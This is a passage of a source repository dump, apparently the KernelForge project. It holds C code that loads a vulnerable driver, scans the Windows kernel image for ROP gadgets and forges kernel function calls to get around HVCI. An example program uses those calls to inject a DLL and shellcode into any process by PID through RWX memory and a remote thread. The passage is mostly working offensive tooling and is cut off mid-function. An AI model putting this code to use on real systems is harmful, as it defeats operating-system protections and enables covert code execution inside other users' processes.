DLL_INJECT_STRUCT size 23 | DWORD dwShellcodeSize = (DWORD)((DWORD_PTR)&dll_inject_End - (DWORD_PTR)&dll_inject_Entry); 24 | DWORD dwInjectStructSize = sizeof(DLL_INJECT_STRUCT) + dwShellcodeSize; 25 | 26 | DbgMsg(__FILE__, __LINE__, "DLL inject shellcode size is %d bytes\n", dwInjectStructSize); 27 | 28 | PDLL_INJECT_STRUCT InjectStruct = (PDLL_INJECT_STRUCT)M_ALLOC(dwInjectStructSize); 29 | if (InjectStruct == NULL) 30 | { 31 | DbgMsg(__FILE__, __LINE__, "M_ALLOC() ERROR %d\n\n", GetLastError()); 32 | goto _end; 33 | } 34 | 35 | CopyMemory(InjectStruct->Shellcode, &dll_inject_Entry, dwShellcodeSize); 36 | 37 | CLIENT_ID ClientId; 38 | OBJECT_ATTRIBUTES ObjAttr; 39 | 40 | ImageSize = dwImageSize; 41 | InjectStructSize = dwInjectStructSize; 42 | 43 | InitializeObjectAttributes(&ObjAttr, NULL, OBJ_KERNEL_HANDLE, NULL, NULL); 44 | 45 | ClientId.UniqueProcess = ProcessId; 46 | ClientId.UniqueThread = NULL; 47 | 48 | PVOID Args_1[] = { KF_ARG(&hProcess), // ProcessHandle 49 | KF_ARG(PROCESS_ALL_ACCESS), // DesiredAccess 50 | KF_ARG(&ObjAttr), // ObjectAttributes 51 | KF_ARG(&ClientId) }; // ClientId 52 | 53 | // open the target process 54 | if (!KfCall("ZwOpenProcess", Args_1, 4, KF_RET(&Status))) 55 | { 56 | DbgMsg(__FILE__, __LINE__, "ERROR: KfCall() fails\n"); 57 | goto _end; 58 | } 59 | 60 | if (NT_ERROR(Status)) 61 | { 62 | DbgMsg(__FILE__, __LINE__, "ZwOpenProcess() ERROR 0x%.8x\n", Status); 63 | goto _end; 64 | } 65 | 66 | PVOID Args_2[] = { KF_ARG(hProcess), // ProcessHandle 67 | KF_ARG(&ImageAddr), // BaseAddress 68 | KF_ARG(0), // ZeroBits 69 | KF_ARG(&ImageSize), // RegionSize 70 | KF_ARG(MEM_COMMIT | MEM_RESERVE), // AllocationType 71 | KF_ARG(PAGE_EXECUTE_READWRITE) }; // Protect 72 | 73 | // allocate memory for the DLL image 74 | if (!KfCall("ZwAllocateVirtualMemory", Args_2, 6, KF_RET(&Status))) 75 | { 76 | DbgMsg(__FILE__, __LINE__, "ERROR: KfCall() fails\n"); 77 | goto _end; 78 | } 79 | 80 | if (NT_ERROR(Status)) 81 | { 82 | DbgMsg(__FILE__, __LINE__, "ZwAllocateVirtualMemory() ERROR 0x%.8x\n", Status); 83 | goto _end; 84 | } 85 | 86 | DbgMsg(__FILE__, __LINE__, "DLL image memory was allocated at "IFMT"\n", ImageAddr); 87 | 88 | // relocate DLL image file to the new base address 89 | if (!LdrProcessRelocs(Image, ImageAddr)) 90 | { 91 | DbgMsg(__FILE__, __LINE__, "ERROR: LdrProcessRelocs() fails\n"); 92 | goto _end; 93 | } 94 | 95 | // set proper size once again, ZwAllocateVirtualMemory() may round it 96 | ImageSize = dwImageSize; 97 | 98 | PVOID Args_3[] = { KF_ARG(hProcess), // ProcessHandle 99 | KF_ARG(ImageAddr), // BaseAddress 100 | KF_ARG(Image), // Buffer 101 | KF_ARG(ImageSize), // NumberOfBytesToWrite 102 | KF_ARG(NULL) }; // NumberOfBytesWritten 103 | 104 | // write DLL image into the process memory 105 | if (!KfCall("ZwWriteVirtualMemory", Args_3, 5, KF_RET(&Status))) 106 | { 107 | DbgMsg(__FILE__, __LINE__, "ERROR: KfCall() fails\n"); 108 | goto _end; 109 | } 110 | 111 | if (NT_ERROR(Status)) 112 | { 113 | DbgMsg(__FILE__, __LINE__, "ZwWriteVirtualMemory() ERROR 0x%.8x\n", Status); 114 | goto _end; 115 | } 116 | 117 | PVOID Args_4[] = { KF_ARG(hProcess), // ProcessHandle 118 | KF_ARG(&ShellcodeAddr), // BaseAddress 119 | KF_ARG(0), // ZeroBits 120 | KF_ARG(&InjectStructSize), // RegionSize 121 | KF_ARG(MEM_COMMIT | MEM_RESERVE), // AllocationType 122 | KF_ARG(PAGE_EXECUTE_READWRITE) }; // Protect 123 | 124 | // allocate memory for the shellcode 125 | if (!KfCall("ZwAllocateVirtualMemory", Args_4, 6, KF_RET(&Status))) 126 | { 127 | DbgMsg(__FILE__, __LINE__, "ERROR: KfCall() fails\n"); 128 | goto _end; 129 | } 130 | 131 | if (NT_ERROR(Status)) 132 | { 133 | DbgMsg(__FILE__, __LINE__, "ZwAllocateVirtualMemory() ERROR 0x%.8x\n", Status); 134 | goto _end; 135 | } 136 | 137 | DbgMsg(__FILE__, __LINE__, "Shellcode memory was allocated at "IFMT"\n", ShellcodeAddr); 138 | 139 | // set proper size once again, ZwAllocateVirtualMemory() may round it 140 | InjectStructSize = dwInjectStructSize; 141 | InjectStruct->ModuleBase = ImageAddr; 142 | 143 | PVOID Args_5[] = { KF_ARG(hProcess), // ProcessHandle 144 | KF_ARG(ShellcodeAddr), // BaseAddress 145 | KF_ARG(InjectStruct), // Buffer 146 | KF_ARG(InjectStructSize), // NumberOfBytesToWrite 147 | KF_ARG(NULL) }; // NumberOfBytesWritten 148 | 149 | // write shellcode into the process memory 150 | if (!KfCall("ZwWriteVirtualMemory", Args_5, 5, KF_RET(&Status))) 151 | { 152 | DbgMsg(__FILE__, __LINE__, "ERROR: KfCall() fails\n"); 153 | goto _end; 154 | } 155 | 156 | if (NT_ERROR(Status)) 157 | { 158 | DbgMsg(__FILE__, __LINE__, "ZwWriteVirtualMemory() ERROR 0x%.8x\n", Status); 159 | goto _end; 160 | } 161 | 162 | PVOID StartAddress = RVATOVA(ShellcodeAddr, FIELD_OFFSET(DLL_INJECT_STRUCT, Shellcode)); 163 | 164 | PVOID Args_6[] = { KF_ARG(hProcess), // ProcessHandle 165 | KF_ARG(NULL), // SecurityDescriptor 166 | KF_ARG(FALSE), // CreateSuspended 167 | KF_ARG(0), // StackZeroBits 168 | KF_ARG(NULL), // StackReserved 169 | KF_ARG(NULL), // StackCommit 170 | KF_ARG(StartAddress), // StartAddress 171 | KF_ARG(ShellcodeAddr), // StartParameter 172 | KF_ARG(&hThread), // ThreadHandle 173 | KF_ARG(&ClientId) }; // ClientId 174 | 175 | // create new thread to execute DLL load shellcode 176 | if (!KfCall("RtlCreateUserThread", Args_6, 10, KF_RET(&Status))) 177 | { 178 | DbgMsg(__FILE__, __LINE__, "ERROR: KfCall() fails\n"); 179 | goto _end; 180 | } 181 | 182 | if (NT_ERROR(Status)) 183 | { 184 | DbgMsg(__FILE__, __LINE__, "RtlCreateUserThread() ERROR 0x%.8x\n", Status); 185 | goto _end; 186 | } 187 | 188 | if (hThread) 189 | { 190 | PVOID Args[] = { KF_ARG(hThread) }; 191 | 192 | // close created thread handle 193 | if (KfCall("ZwClose", Args, 1, KF_RET(&Status))) 194 | { 195 | if (NT_ERROR(Status)) 196 | { 197 | DbgMsg(__FILE__, __LINE__, "ZwClose() ERROR 0x%.8x\n", Status); 198 | } 199 | } 200 | else 201 | { 202 | DbgMsg(__FILE__, __LINE__, "ERROR: KfCall() fails\n"); 203 | } 204 | } 205 | 206 | bRet = TRUE; 207 | 208 | _end: 209 | 210 | if (hProcess) 211 | { 212 | PVOID Args[] = { KF_ARG(hProcess) }; 213 | 214 | // close target process handle 215 | if (KfCall("ZwClose", Args, 1, KF_RET(&Status))) 216 | { 217 | if (NT_ERROR(Status)) 218 | { 219 | DbgMsg(__FILE__, __LINE__, "ZwClose() ERROR 0x%.8x\n", Status); 220 | } 221 | } 222 | else 223 | { 224 | DbgMsg(__FILE__, __LINE__, "ERROR: KfCall() fails\n"); 225 | } 226 | } 227 | 228 | if (NT_ERROR(Status)) 229 | { 230 | // perform cleanup on error 231 | if (ShellcodeAddr) 232 | { 233 | PVOID Args[] = { KF_ARG(hProcess), // ProcessHandle 234 | KF_ARG(&ShellcodeAddr), // BaseAddress 235 | KF_ARG(&InjectStructSize), // RegionSize 236 | KF_ARG(MEM_RELEASE) }; // FreeType 237 | 238 | // free shellcode memory 239 | if (KfCall("ZwFreeVirtualMemory", Args, 4, KF_RET(&Status))) 240 | { 241 | if (NT_ERROR(Status)) 242 | { 243 | DbgMsg(__FILE__, __LINE__, "ZwFreeVirtualMemory() ERROR 0x%.8x\n", Status); 244 | } 245 | } 246 | else 247 | { 248 | DbgMsg(__FILE__, __LINE__, "ERROR: KfCall() fails\n"); 249 | } 250 | } 251 | 252 | if (ImageAddr) 253 | { 254 | PVOID Args[] = { KF_ARG(hProcess), // ProcessHandle 255 | KF_ARG(&ImageAddr), // BaseAddress 256 | KF_ARG(&ImageSize), // RegionSize 257 | KF_ARG(MEM_RELEASE) }; // FreeType 258 | 259 | // free DLL image memory 260 | if (KfCall("ZwFreeVirtualMemory", Args, 4, KF_RET(&Status))) 261 | { 262 | if (NT_ERROR(Status)) 263 | { 264 | DbgMsg(__FILE__, __LINE__, "ZwFreeVirtualMemory() ERROR 0x%.8x\n", Status); 265 | } 266 | } 267 | else 268 | { 269 | DbgMsg(__FILE__, __LINE__, "ERROR: KfCall() fails\n"); 270 | } 271 | } 272 | } 273 | 274 | if (InjectStruct) 275 | { 276 | M_FREE(InjectStruct); 277 | } 278 | 279 | if (Image) 280 | { 281 | M_FREE(Image); 282 | } 283 | 284 | return bRet; 285 | } 286 | //-------------------------------------------------------------------------------------- 287 | int _tmain(int argc, _TCHAR* argv[]) 288 | { 289 | int Ret = -1; 290 | 291 | if (argc < 3) 292 | { 293 | printf("USAGE: kforge_example.exe \n"); 294 | return -1; 295 | } 296 | 297 | HANDLE ProcessId = 0; 298 | char *lpszPath = argv[2]; 299 | 300 | // read target process id 301 | if (!StrToIntEx(argv[1], 0, (int *)&ProcessId)) 302 | { 303 | DbgMsg(__FILE__, __LINE__, "ERROR: Invalid PID\n"); 304 | return -1; 305 | } 306 | 307 | DbgMsg(__FILE__, __LINE__, "Target process PID = %I64d\n", ProcessId); 308 | 309 | PVOID Data = NULL; 310 | DWORD dwDataSize = 0; 311 | 312 | // read DLL image file contents 313 | if (!ReadFromFile(lpszPath, &Data, &dwDataSize)) 314 | { 315 | DbgMsg(__FILE__, __LINE__, "ERROR: Can't read DLL image file\n"); 316 | return -1; 317 | } 318 | 319 | DbgMsg(__FILE__, __LINE__, "%d bytes of DLL image read from %s\n", dwDataSize, lpszPath); 320 | 321 | // initialize kernel forge library 322 | if (KfInit()) 323 | { 324 | // perform DLL injection 325 | if (DllInject(ProcessId, Data, dwDataSize)) 326 | { 327 | DbgMsg(__FILE__, __LINE__, "DLL was successfully injected!\n"); 328 | 329 | Ret = 0; 330 | } 331 | else 332 | { 333 | DbgMsg(__FILE__, __LINE__, "ERROR: DllInject() fails\n"); 334 | } 335 | 336 | // uninitialize the library 337 | KfUninit(); 338 | } 339 | 340 | M_FREE(Data); 341 | 342 | return Ret; 343 | } 344 | //-------------------------------------------------------------------------------------- 345 | // EoF 346 | -------------------------------------------------------------------------------- /kforge_example/kforge_example.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | x64 7 | 8 | 9 | Release 10 | x64 11 | 12 | 13 | 14 | {FD13CD14-B412-45BD-A3C9-7466CD83CAFC} 15 | Win32Proj 16 | kforge_example 17 | 18 | 19 | 20 | Application 21 | true 22 | v120 23 | MultiByte 24 | 25 | 26 | Application 27 | false 28 | v120 29 | true 30 | MultiByte 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | false 44 | 45 | 46 | false 47 | 48 | 49 | 50 | 51 | 52 | Level3 53 | Disabled 54 | WIN32;_DEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions) 55 | MultiThreadedDebug 56 | $(SolutionDir);$(ProjectDir) 57 | /D DBG %(AdditionalOptions) 58 | true 59 | Default 60 | false 61 | 62 | 63 | Console 64 | true 65 | $(SolutionDir)$(TargetName)$(TargetExt) 66 | $(SolutionDir)$(TargetName).pdb 67 | ..\kforge_driver.lib;..\kforge_library.lib;shlwapi.lib;%(AdditionalDependencies) 68 | RequireAdministrator 69 | /ORDER:@func_order.txt %(AdditionalOptions) 70 | 71 | 72 | 73 | 74 | Level3 75 | 76 | 77 | MaxSpeed 78 | true 79 | true 80 | WIN32;NDEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions) 81 | $(SolutionDir);$(ProjectDir) 82 | /D DBG %(AdditionalOptions) 83 | MultiThreaded 84 | false 85 | 86 | 87 | Console 88 | true 89 | true 90 | true 91 | $(SolutionDir)$(TargetName).pdb 92 | $(SolutionDir)$(TargetName)$(TargetExt) 93 | ..\kforge_driver.lib;..\kforge_library.lib;shlwapi.lib;%(AdditionalDependencies) 94 | RequireAdministrator 95 | /ORDER:@func_order.txt %(AdditionalOptions) 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | -------------------------------------------------------------------------------- /kforge_example/kforge_example.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | {038edea2-18f0-4bf7-9ac2-06360787398b} 18 | 19 | 20 | 21 | 22 | Header Files 23 | 24 | 25 | Header Files 26 | 27 | 28 | Header Files\common 29 | 30 | 31 | Header Files\common 32 | 33 | 34 | Header Files\common 35 | 36 | 37 | Header Files\common 38 | 39 | 40 | Header Files 41 | 42 | 43 | Header Files 44 | 45 | 46 | Header Files\common 47 | 48 | 49 | Header Files 50 | 51 | 52 | 53 | 54 | Source Files 55 | 56 | 57 | Source Files 58 | 59 | 60 | Source Files 61 | 62 | 63 | -------------------------------------------------------------------------------- /kforge_example/stdafx.cpp: -------------------------------------------------------------------------------- 1 | // stdafx.cpp : source file that includes just the standard includes 2 | // kforge.pch will be the pre-compiled header 3 | // stdafx.obj will contain the pre-compiled type information 4 | 5 | #include "stdafx.h" 6 | 7 | // TODO: reference any additional headers you need in STDAFX.H 8 | // and not in this file 9 | -------------------------------------------------------------------------------- /kforge_example/stdafx.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #pragma warning(disable: 4200) 3 | #pragma warning(disable: 4996) 4 | 5 | #include "targetver.h" 6 | 7 | #include 8 | #include 9 | #include 10 | 11 | #include 12 | #include 13 | #include 14 | 15 | #include "common/ntdll_defs.h" 16 | #include "common/ntdll_undocnt.h" 17 | #include "common/common.h" 18 | #include "common/debug.h" 19 | #include "common/peimage.h" 20 | 21 | #include "include/kforge_library.h" 22 | 23 | #include "dll_inject_shellcode.h" 24 | -------------------------------------------------------------------------------- /kforge_example/targetver.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | // Including SDKDDKVer.h defines the highest available Windows platform. 4 | 5 | // If you wish to build your application for a previous Windows platform, include WinSDKVer.h and 6 | // set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. 7 | 8 | #include 9 | -------------------------------------------------------------------------------- /kforge_library.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cr4sh/KernelForge/491e41019d6225535e53d6c6795eb0cfdc7d5ff2/kforge_library.lib -------------------------------------------------------------------------------- /kforge_library/kforge_library.cpp: -------------------------------------------------------------------------------- 1 | #include "stdafx.h" 2 | 3 | // StackBase and KernelStack field offset 4 | #define KTHREAD_StackBase 0x38 5 | #define KTHREAD_KernelStack 0x58 6 | 7 | // magic exit code for DummyThread() 8 | #define THREAD_EXIT_CODE 0x1337 9 | 10 | static BOOL m_bInitialized = FALSE; 11 | 12 | // kernel image name and memory location 13 | static DWORD m_dwKernelSize = 0; 14 | static DWORD_PTR m_KernelAddr = NULL; 15 | 16 | // userland copy of the kernel image 17 | static PVOID m_KernelImage = NULL; 18 | static DWORD m_dwKernelImageSize = NULL; 19 | 20 | // mandatory function 21 | static PVOID m_ZwTerminateThread = NULL; 22 | 23 | // ROP gadgets used to forge function calls 24 | static PVOID m_RopAddr_1 = NULL, m_RopAddr_2 = NULL; 25 | static PVOID m_RopAddr_3 = NULL, m_RopAddr_4 = NULL, m_RopAddr_5 = NULL; 26 | //-------------------------------------------------------------------------------------- 27 | static BOOL MemReadPtr(PVOID Addr, PVOID *Value) 28 | { 29 | // read single pointer from virtual memory address 30 | return DriverMemRead(Addr, Value, sizeof(PVOID)); 31 | } 32 | 33 | static BOOL MemWritePtr(PVOID Addr, PVOID Value) 34 | { 35 | // write single pointer at virtual memory address 36 | return DriverMemWrite(Addr, &Value, sizeof(PVOID)); 37 | } 38 | //-------------------------------------------------------------------------------------- 39 | static BOOL MatchSign(PUCHAR Data, PUCHAR Sign, int Size) 40 | { 41 | for (int i = 0; i < Size; i += 1) 42 | { 43 | if (Sign[i] == 0xff) 44 | { 45 | // 0xff means to match any value 46 | continue; 47 | } 48 | 49 | if (Sign[i] != Data[i]) 50 | { 51 | // not matched 52 | return FALSE; 53 | } 54 | } 55 | 56 | return TRUE; 57 | } 58 | //-------------------------------------------------------------------------------------- 59 | static BOOL KfGetKernelImageInfo(PVOID *pImageAddress, PDWORD pdwImageSize, char *lpszName) 60 | { 61 | // query loaded kernel modules information 62 | PRTL_PROCESS_MODULES Info = (PRTL_PROCESS_MODULES)GetSystemInformation(SystemModuleInformation); 63 | if (Info && Info->NumberOfModules > 0) 64 | { 65 | // kernel usually goes first: this might be not very reliable, idk 66 | PRTL_PROCESS_MODULE_INFORMATION Module = &Info->Modules[0]; 67 | 68 | // return image load address and size 69 | *pImageAddress = Module->ImageBase; 70 | *pdwImageSize = Module->ImageSize; 71 | 72 | // get kernel file name from NT path 73 | strcpy_s(lpszName, MAX_PATH, (char *)(Module->FullPathName + Module->OffsetToFileName)); 74 | 75 | M_FREE(Info); 76 | 77 | return TRUE; 78 | } 79 | 80 | return FALSE; 81 | } 82 | //-------------------------------------------------------------------------------------- 83 | BOOL KfGetSyscallNumber(char *lpszProcName, PDWORD pdwRet) 84 | { 85 | // get ntdll image address 86 | HMODULE hImage = GetModuleHandle("ntdll.dll"); 87 | if (hImage == NULL) 88 | { 89 | return FALSE; 90 | } 91 | 92 | // get syscall stub address 93 | PUCHAR Addr = (PUCHAR)GetProcAddress(hImage, lpszProcName); 94 | if (Addr == NULL) 95 | { 96 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Unable to find %s()\n", lpszProcName); 97 | return FALSE; 98 | } 99 | 100 | // check for mov eax, imm32 instruction 101 | if (*(Addr + 3) == 0xb8) 102 | { 103 | // return instruction argument, syscall number 104 | *pdwRet = *(PDWORD)(Addr + 4); 105 | return TRUE; 106 | } 107 | else 108 | { 109 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Unexpected code for %s()\n", lpszProcName); 110 | } 111 | 112 | return FALSE; 113 | } 114 | //-------------------------------------------------------------------------------------- 115 | PVOID KfGetKernelProcAddress(char *lpszProcName) 116 | { 117 | if (m_KernelImage == NULL || m_KernelAddr == NULL) 118 | { 119 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Not initialized\n"); 120 | return FALSE; 121 | } 122 | 123 | // get RVA of the target function 124 | DWORD Offset = LdrGetProcAddress(m_KernelImage, lpszProcName); 125 | if (Offset != 0) 126 | { 127 | // return an actual address of the target function 128 | return RVATOVA(m_KernelAddr, Offset); 129 | } 130 | 131 | return NULL; 132 | } 133 | //-------------------------------------------------------------------------------------- 134 | PVOID KfGetKernelZwProcAddress(char *lpszProcName) 135 | { 136 | PVOID Addr = NULL; 137 | DWORD dwSyscallNumber = 0; 138 | 139 | if (m_KernelImage == NULL || m_KernelAddr == NULL) 140 | { 141 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Not initialized\n"); 142 | return FALSE; 143 | } 144 | 145 | // get target function syscall number 146 | if (!KfGetSyscallNumber(lpszProcName, &dwSyscallNumber)) 147 | { 148 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: KfGetSyscallNumber() fails\n"); 149 | return NULL; 150 | } 151 | 152 | PIMAGE_NT_HEADERS pHeaders = (PIMAGE_NT_HEADERS) 153 | RVATOVA(m_KernelImage, ((PIMAGE_DOS_HEADER)m_KernelImage)->e_lfanew); 154 | 155 | PIMAGE_SECTION_HEADER pSection = (PIMAGE_SECTION_HEADER) 156 | RVATOVA(&pHeaders->OptionalHeader, pHeaders->FileHeader.SizeOfOptionalHeader); 157 | 158 | for (DWORD i = 0; i < pHeaders->FileHeader.NumberOfSections; i += 1) 159 | { 160 | // check for the code sectin 161 | if ((pSection->Characteristics & IMAGE_SCN_MEM_EXECUTE) != 0 && 162 | (pSection->Characteristics & IMAGE_SCN_MEM_DISCARDABLE) == 0) 163 | { 164 | for (DWORD n = 0; n < pSection->Misc.VirtualSize - 0x100; n += 1) 165 | { 166 | DWORD Ptr = pSection->VirtualAddress + n; 167 | 168 | /* 169 | Signature of Zw stub to call system calls from kernel drivers. 170 | */ 171 | UCHAR Sign[] = "\x48\x8B\xC4" // mov rax, rsp 172 | "\xFA" // cli 173 | "\x48\x83\xEC\x10" // sub rsp, 10h 174 | "\x50" // push rax 175 | "\x9C" // pushfq 176 | "\x6A\x10" // push 10h 177 | "\x48\x8D\x05\xFF\xFF\xFF\xFF" // lea rax, KiServiceLinkage 178 | "\x50" // push rax 179 | "\xB8\x00\x00\x00\x00" // mov eax, XXXXXXXX 180 | "\xE9\xFF\xFF\xFF\xFF"; // jmp KiServiceInternal 181 | 182 | *(PDWORD)(Sign + 0x15) = dwSyscallNumber; 183 | 184 | // match the signature 185 | if (MatchSign(RVATOVA(m_KernelImage, Ptr), Sign, sizeof(Sign)-1)) 186 | { 187 | // calculate an actual kernel address 188 | Addr = RVATOVA(m_KernelAddr, Ptr); 189 | } 190 | } 191 | } 192 | 193 | pSection += 1; 194 | } 195 | 196 | return Addr; 197 | } 198 | //-------------------------------------------------------------------------------------- 199 | BOOL KfInit(void) 200 | { 201 | char szKernelName[MAX_PATH], szKernelPath[MAX_PATH]; 202 | 203 | if (m_bInitialized) 204 | { 205 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): Already initialized\n"); 206 | return TRUE; 207 | } 208 | 209 | GET_NATIVE(RtlGetVersion); 210 | 211 | if (f_RtlGetVersion == NULL) 212 | { 213 | DbgMsg(__FILE__, __LINE__, "ERROR: Unable to obtain needed functions\n"); 214 | return FALSE; 215 | } 216 | 217 | RTL_OSVERSIONINFOW VersionInfo; 218 | VersionInfo.dwOSVersionInfoSize = sizeof(VersionInfo); 219 | 220 | if (NT_ERROR(f_RtlGetVersion(&VersionInfo))) 221 | { 222 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: RtlGetVersion() fails\n"); 223 | return FALSE; 224 | } 225 | 226 | // check for the proper NT version 227 | if (!(VersionInfo.dwMajorVersion == 10 && VersionInfo.dwBuildNumber >= 1709)) 228 | { 229 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): Unsupported NT version\n"); 230 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): Well, maybe it's actually supported but it has " 231 | "no HVCI so there's no sense to use this project\n"); 232 | return FALSE; 233 | } 234 | 235 | DbgMsg( 236 | __FILE__, __LINE__, "NT version: %d.%d.%d\n", 237 | VersionInfo.dwMajorVersion, VersionInfo.dwMinorVersion, VersionInfo.dwBuildNumber 238 | ); 239 | 240 | // load loldriver 241 | if (!DriverInit()) 242 | { 243 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: DriverInit() fails\n"); 244 | goto _end; 245 | } 246 | 247 | // get kernel address 248 | if (!KfGetKernelImageInfo((PVOID *)&m_KernelAddr, &m_dwKernelSize, szKernelName)) 249 | { 250 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: GetKernelImageInfo() fails\n"); 251 | goto _end; 252 | } 253 | 254 | DbgMsg(__FILE__, __LINE__, "Kernel is at "IFMT", image size is 0x%x\n", m_KernelAddr, m_dwKernelSize); 255 | 256 | GetSystemDirectory(szKernelPath, MAX_PATH); 257 | strcat_s(szKernelPath, "\\"); 258 | strcat_s(szKernelPath, szKernelName); 259 | 260 | PVOID Data = NULL; 261 | DWORD dwDataSize = 0; 262 | 263 | if (ReadFromFile(szKernelPath, &Data, &dwDataSize)) 264 | { 265 | // load kernel image into the userland 266 | if (LdrMapImage(Data, dwDataSize, &m_KernelImage, &m_dwKernelImageSize)) 267 | { 268 | // relocate kernel image to its actual address 269 | LdrProcessRelocs(m_KernelImage, (PVOID)m_KernelAddr); 270 | } 271 | else 272 | { 273 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: LdrMapImage() fails\n"); 274 | } 275 | 276 | M_FREE(Data); 277 | } 278 | else 279 | { 280 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: ReadFromFile() fails\n"); 281 | goto _end; 282 | } 283 | 284 | if (m_KernelImage == NULL) 285 | { 286 | goto _end; 287 | } 288 | 289 | PIMAGE_NT_HEADERS pHeaders = (PIMAGE_NT_HEADERS) 290 | RVATOVA(m_KernelImage, ((PIMAGE_DOS_HEADER)m_KernelImage)->e_lfanew); 291 | 292 | PIMAGE_SECTION_HEADER pSection = (PIMAGE_SECTION_HEADER) 293 | RVATOVA(&pHeaders->OptionalHeader, pHeaders->FileHeader.SizeOfOptionalHeader); 294 | 295 | for (DWORD i = 0; i < pHeaders->FileHeader.NumberOfSections; i += 1) 296 | { 297 | // check for the code sectin 298 | if ((pSection->Characteristics & IMAGE_SCN_MEM_EXECUTE) != 0 && 299 | (pSection->Characteristics & IMAGE_SCN_MEM_DISCARDABLE) == 0) 300 | { 301 | for (DWORD n = 0; n < pSection->Misc.VirtualSize - 0x100; n += 1) 302 | { 303 | DWORD Ptr = pSection->VirtualAddress + n; 304 | 305 | /* 306 | Signature of nt!_guard_retpoline_exit_indirect_rax() used as 307 | ROP gadget to control function argument registers 308 | */ 309 | UCHAR Sign_1[] = "\x48\x8b\x44\x24\x20" // mov rax, [rsp+0x20] 310 | "\x48\x8b\x4c\x24\x28" // mov rcx, [rsp+0x28] 311 | "\x48\x8b\x54\x24\x30" // mov rdx, [rsp+0x30] 312 | "\x4c\x8b\x44\x24\x38" // mov r8, [rsp+0x38] 313 | "\x4c\x8b\x4c\x24\x40" // mov r9, [rsp+0x40] 314 | "\x48\x83\xC4\x48" // add rsp, 48h 315 | "\x48\xFF\xE0"; // jmp rax 316 | 317 | // match the signature 318 | if (MatchSign(RVATOVA(m_KernelImage, Ptr), Sign_1, sizeof(Sign_1)-1)) 319 | { 320 | // calculate an actual kernel address 321 | m_RopAddr_1 = RVATOVA(m_KernelAddr, Ptr); 322 | } 323 | 324 | /* 325 | ROP gadget used to reserve an extra space for the stack arguments 326 | */ 327 | UCHAR Sign_2[] = "\x48\x83\xC4\x68" // add rsp, 68h 328 | "\xC3"; // retn 329 | 330 | // match the signature 331 | if (MatchSign(RVATOVA(m_KernelImage, Ptr), Sign_2, sizeof(Sign_2)-1)) 332 | { 333 | // calculate an actual kernel address 334 | m_RopAddr_2 = RVATOVA(m_KernelAddr, Ptr); 335 | } 336 | 337 | /* 338 | RCX control ROP gadget to use in pair with the next one 339 | */ 340 | UCHAR Sign_3[] = "\x59" // pop rcx 341 | "\xC3"; // retn 342 | 343 | // match the signature 344 | if (MatchSign(RVATOVA(m_KernelImage, Ptr), Sign_3, sizeof(Sign_3)-1)) 345 | { 346 | // calculate an actual kernel address 347 | m_RopAddr_3 = RVATOVA(m_KernelAddr, Ptr); 348 | } 349 | 350 | /* 351 | ROP gadget used to save forged functoin call return value 352 | */ 353 | UCHAR Sign_4[] = "\x48\x89\x01" // mov [rcx], rax 354 | "\xC3"; // retn 355 | 356 | // match the signature 357 | if (MatchSign(RVATOVA(m_KernelImage, Ptr), Sign_4, sizeof(Sign_4)-1)) 358 | { 359 | // calculate an actual kernel address 360 | m_RopAddr_4 = RVATOVA(m_KernelAddr, Ptr); 361 | 362 | // dummy dagdet for stack alignment 363 | m_RopAddr_5 = RVATOVA(m_KernelAddr, Ptr + 3); 364 | } 365 | } 366 | } 367 | 368 | pSection += 1; 369 | } 370 | 371 | if (m_RopAddr_1 == NULL || m_RopAddr_2 == NULL || 372 | m_RopAddr_3 == NULL || m_RopAddr_4 == NULL || m_RopAddr_5 == NULL) 373 | { 374 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Unable to find needed ROP gadgets\n"); 375 | goto _end; 376 | } 377 | 378 | DbgMsg(__FILE__, __LINE__, "ROP gadget #1 is at "IFMT"\n", m_RopAddr_1); 379 | DbgMsg(__FILE__, __LINE__, "ROP gadget #2 is at "IFMT"\n", m_RopAddr_2); 380 | DbgMsg(__FILE__, __LINE__, "ROP gadget #3 is at "IFMT"\n", m_RopAddr_3); 381 | DbgMsg(__FILE__, __LINE__, "ROP gadget #4 is at "IFMT"\n", m_RopAddr_4); 382 | DbgMsg(__FILE__, __LINE__, "ROP gadget #5 is at "IFMT"\n", m_RopAddr_5); 383 | 384 | /* 385 | Get address of nt!ZwTerminateThread(), we need this function 386 | to gracefully shutdown our dummy thread with fucked up kernel stack 387 | */ 388 | if ((m_ZwTerminateThread = KfGetKernelZwProcAddress("ZwTerminateThread")) == NULL) 389 | { 390 